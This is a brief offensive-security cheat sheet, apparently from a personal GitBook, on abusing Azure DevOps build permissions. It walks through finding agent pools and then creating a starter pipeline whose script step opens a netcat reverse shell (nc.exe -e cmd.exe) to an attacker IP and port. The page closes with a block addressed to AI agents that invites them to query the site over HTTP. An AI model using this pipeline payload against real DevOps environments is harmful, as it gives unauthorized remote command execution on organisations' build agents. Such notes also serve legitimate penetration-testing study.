# azure cloud

## user-perms (authenticated)

```bash
# look at (bottom left) Project Settings > Security > 

Role info: 
Build Administator: can define builds using CI pipeline
```

## RCE using pipeline method

Can use Python pipeline too.

```bash
1. to find agent-pools
(top-left) Azure DevOps > (bottom-left) Collection Settings > Agent Pools
| note: pool name

2. RCE using starter-pipeline
Pipelines > New > 
(select where is project hosted): Azure Repo Git
(select repo): 
(type of pipeline): Starter Pipeline

# modified.yaml
trigger:
- master

pool: 'POOLNAME'

steps:
- script: |
    whoami /priv
    C:\Windows\System32\cmd.exe /c C:\Users\Public\nc.exe -e cmd.exe IP PORT
  displayName: 'kashz'
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kashz.gitbook.io/kashz-jewels/services/azure-cloud.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
